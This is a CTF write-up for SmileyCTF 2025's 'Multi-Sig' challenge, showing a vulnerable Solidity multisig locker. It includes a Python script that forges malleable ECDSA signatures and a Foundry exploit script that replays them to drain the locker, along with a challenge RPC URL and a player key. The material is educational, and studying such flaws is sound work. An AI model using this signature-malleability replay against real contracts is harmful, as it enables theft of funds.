Post

SmileyCTF 2025 - Multi-sig is Solo-sig?

Writeup for Multi-Sig Challenge

SmileyCTF 2025 - Multi-sig is Solo-sig?

Multi-Sig

Multi Signature, Signature Malleability

Analysis

We were given 2 contract, Locker.sol and Setup.sol- note that the important part lies in the Locker.sol since the challenge and validator were implemented inside of it (kinda unique tbh). Here is the contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Setup} from "./Setup.sol";
/**
 * @title Locker
 * @author BrokenAppendix
 */

struct signature {
    uint8 v;
    bytes32 r;
    bytes32 s;
}


event LockerDeployed(
    address lockerAddress,
    uint256 lockId,
    uint8[] v,
    bytes32[] r,
    bytes32[] s,
    address[] controllers,
    uint256 threshold
);


// SlockDotIt ECLocker factory
contract Locker {
    uint256 public immutable lockId;
    bytes32 public immutable msgHash;
    address[] public controllers;
    uint256 public immutable threshold;
    uint256 public tokens;

    mapping(bytes32 => bool) public usedSignatures;

    constructor(
        uint256 _lockId,
        signature[] memory signatures,
        address[] memory _controllers,
        uint256 _threshold
    ) {
        require(
            _controllers.length >= _threshold && _threshold > 0,
            "Invalid config"
        );

        lockId = _lockId;
        threshold = _threshold;
        controllers = _controllers;
        tokens = 1;

        // Compute the expected hash
        bytes32 _msgHash;
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
            mstore(0x1C, _lockId)
            _msgHash := keccak256(0x00, 0x3c)
        }
        msgHash = _msgHash;

        validateMultiSig(signatures);

        // Flatten signature arrays
        uint8[] memory vArr = new uint8[](signatures.length);
        bytes32[] memory rArr = new bytes32[](signatures.length);
        bytes32[] memory sArr = new bytes32[](signatures.length);

        for (uint256 i = 0; i < signatures.length; i++) {
            vArr[i] = signatures[i].v;
            rArr[i] = signatures[i].r;
            sArr[i] = signatures[i].s;
        }

        emit LockerDeployed(address(this), lockId, vArr, rArr, sArr, controllers, threshold);

    }

    function distribute(signature[] memory signatures) external {
        validateMultiSig(signatures);
        tokens -= 1;
    }

    function isSolved()  external view returns (bool) {
        return tokens == 0;
    }

    function validateMultiSig(signature[] memory signatures) public {
        address[] memory seen = new address[](controllers.length);
        uint256 validCount = 0;
        for (uint256 i = 0; i < signatures.length; i++){
            address recovered = _isValidSignature(signatures[i]);
            require(!_isInArray(recovered, seen), "Same signer cannot sign multiple times");

            // Ensure no duplicate
            for (uint256 j = 0; j < validCount; j++) {
                require(seen[j] != recovered, "Duplicate signer");
            }

            seen[validCount] = recovered;
            validCount++;
        }
        require(validCount == threshold, "Not enough valid signers");
    }

    function _isValidSignature(
        signature memory sig
    ) internal returns (address) {
        uint8 v = sig.v;
        bytes32 r = sig.r;
        bytes32 s = sig.s;
        address _address = ecrecover(msgHash, v, r, s);
        require(_isInArray(_address, controllers), "Signer is not a controller");

        bytes32 signatureHash = keccak256(
            abi.encode([uint256(r), uint256(s), uint256(v)])
        );
        require(!usedSignatures[signatureHash], "Signature has already been used");
        usedSignatures[signatureHash] = true;
        return _address;
    }

    function _isInArray(address addr, address[] memory arr)
        internal
        pure
        returns (bool)
    {
        for (uint256 i = 0; i < arr.length; i++) {
            if (arr[i] == addr) return true;
        }
        return false;
    }
}


/**
 * @dev This is the Setup Contract which checks if the challenge is solved or not
 * (not a part of the challenge)
 */



// Private Keys randomly generated online
// Signatures generated in signature_generator.js
// Signatures retrieved by player by reading events in read_signatures.js

contract SetupLocker is Setup {
    constructor(address player_address) payable Setup(player_address) {}


    signature[] signatures;
    address[] controllers;
    function deploy() public override returns (address) {
        uint256 lockId = 0;
        signatures.push(signature({
            v: 27,
            r: 0x36ade3c84a9768d762f611fbba09f0f678c55cd73a734b330a9602b7426b18d9,
            s: 0x6f326347e65ae8b25830beee7f3a4374f535a8f6eedb5221efba0f17eceea9a9
        }));
        signatures.push(signature({
            v: 28,
            r: 0x57f4f9e4f2ef7280c23b31c0360384113bc7aa130073c43bb8ff83d4804bd2a7,
            s: 0x694430205a6b625cc8506e945208ad32bec94583bf4ec116598708f3b65e4910
        }));
        signatures.push(signature({
            v: 27,
            r: 0xe2e9d4367932529bf0c5c814942d2ff9ae3b5270a240be64b89f839cd4c78d5d,
            s: 0x6c0c845b7a88f5a2396d7f75b536ad577bbdb27ea8c03769a958b2a9d67117d2
        }));
        controllers.push(0x9dF23180748A2E168a24F5BBAB2a50eE38A7d309);
        controllers.push(0x8Ab87699287fe024A8b4d53385AC848930b19FfF);
        controllers.push(0x10Bab59adbDd06E90996361181b7d2129A5Eeb5A);
        uint256 threshold = 3;

        Locker _instance = new Locker(lockId, signatures, controllers, threshold);

        return address(_instance);
    }

    function isSolvedModifier(address _lock) external view returns(bool){
        return Locker(_lock).isSolved();
    }

    // original
    function isSolved() external view override returns (bool) {
        return Locker(challenge).isSolved();
    }
}

The contract is quite huge, but immediately, once you saw the v, r, and s- you might already guess what we need to do to solve this challenge. The solve condition for the challenge is getting token to equal to 0 as written in the Locker.sol::isSolved()

1
2
3
    function isSolved()  external view returns (bool) {
        return tokens == 0;
    }

And the only function that will grant us that change is Locker.sol::distribute(), but note that it has a validation for the signatures we provide as inputs

1
2
3
4
    function distribute(signature[] memory signatures) external {
        validateMultiSig(signatures);
        tokens -= 1;
    }

Obviously, the only wway to do this is to reuse the signature by signature malleability since we have all the part we need to craft them, after that, we just need to call distribute with the signature we crafted.

Exploitation

First, we need to craft the signatures, which I prefer using python (since I have a script for it),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

original_sigs = [
    {
        'v': 27,
        'r': 0x36ade3c84a9768d762f611fbba09f0f678c55cd73a734b330a9602b7426b18d9,
        's': 0x6f326347e65ae8b25830beee7f3a4374f535a8f6eedb5221efba0f17eceea9a9
    },
    {
        'v': 28,
        'r': 0x57f4f9e4f2ef7280c23b31c0360384113bc7aa130073c43bb8ff83d4804bd2a7,
        's': 0x694430205a6b625cc8506e945208ad32bec94583bf4ec116598708f3b65e4910
    },
    {
        'v': 27,
        'r': 0xe2e9d4367932529bf0c5c814942d2ff9ae3b5270a240be64b89f839cd4c78d5d,
        's': 0x6c0c845b7a88f5a2396d7f75b536ad577bbdb27ea8c03769a958b2a9d67117d2
    }
]

malleable_sigs = []
for sig in original_sigs:
    new_s = n - sig['s']
    new_v = 28 if sig['v'] == 27 else 27 
    
    malleable_sigs.append({
        'v': new_v,
        'r': f"0x{sig['r']:064x}",    
        's': f"0x{new_s:064x}"       
    })

print(malleable_sigs)

Here is the result from this python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[
  {
    'v': 28, 
    'r': '0x36ade3c84a9768d762f611fbba09f0f678c55cd73a734b330a9602b7426b18d9', 
    's': '0x90cd9cb819a5174da7cf411180c5bc89c57933efc06d4e19d0184f74e3479798'
  }, 
  {
    'v': 27, 
    'r': '0x57f4f9e4f2ef7280c23b31c0360384113bc7aa130073c43bb8ff83d4804bd2a7',
    's': '0x96bbcfdfa5949da337af916badf752cbfbe59762eff9df25664b559919d7f831'
  }, 
  {
    'v': 28, 
    'r': '0xe2e9d4367932529bf0c5c814942d2ff9ae3b5270a240be64b89f839cd4c78d5d',
    's': '0x93f37ba485770a5dc692808a4ac952a73ef12a68068868d21679abe2f9c5296f'
    }
]

Now, what we need in our solidity exploit script is just a new signature variable which will contain all of the new signature value we crafted, and then call the Locker::distribute() function with it, and we’d solved the challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: UNLICENSED
// forge script script/MultiSigSolver.sol::MultiSigScript --broadcast --skip-simulation
pragma solidity ^0.8.13;

import {Script, console} from "../lib/forge-std/src/Script.sol";
import {Setup} from "src/multisig-wallet/Setup.sol";
import {Locker} from "src/multisig-wallet/Locker.sol";

contract MultiSigScript is Script {
    Locker public lock;

    uint256 public playerPrivateKey;
    address public player;
    
    struct signature {
        uint8 v;
        bytes32 r;
        bytes32 s;
    }

    function setUp() public {
        string memory rpcUrl = "https://misc-multisig-wallet-c0rra83a.smiley.cat/";
        playerPrivateKey = 0x03ad99fbd5793e7f0e23e949182f98b035679ff9229d7c705ceecbda57b4e174;
        player = 0x724a7Baee9cc04A4237348cA955549D64F174367;
        // address setUpContract = 0x0A99C0Ccf4c51081b0F4dFdC633136b5551E0166;
        address lockerAddress = 0x0A99C0Ccf4c51081b0F4dFdC633136b5551E0166;

        player = vm.addr(playerPrivateKey);
        vm.createSelectFork(rpcUrl);
        locker = Locker(lockerAddress);
        console.log('[!] lockout Address: ', address(locker));
    }

    function run() public {
        vm.startBroadcast(playerPrivateKey);
        signature[] memory signatures = new signature[](3);
        
        signatures[0] = signature({
            v: 28,
            r: 0x36ade3c84a9768d762f611fbba09f0f678c55cd73a734b330a9602b7426b18d9,
            s: 0x90cd9cb819a5174da7cf411180c5bc89c57933efc06d4e19d0184f74e3479798
        });

        signatures[1] = signature({
            v: 27,
            r: 0x57f4f9e4f2ef7280c23b31c0360384113bc7aa130073c43bb8ff83d4804bd2a7,
            s: 0x96bbcfdfa5949da337af916badf752cbfbe59762eff9df25664b559919d7f831
        });

        signatures[2] = signature({
            v: 28,
            r: 0xe2e9d4367932529bf0c5c814942d2ff9ae3b5270a240be64b89f839cd4c78d5d,
            s: 0x93f37ba485770a5dc692808a4ac952a73ef12a68068868d21679abe2f9c5296f
        });

        lock.distribute(signatures);
        console.log(lock.isSolved());
        vm.stopBroadcast();
    }
}

Running the script above will solve the challenge and grant us the ability to GET THE FLAG!!

.;,;.{sig_replay_kills_multisig}

This post is licensed under CC BY 4.0 by the author.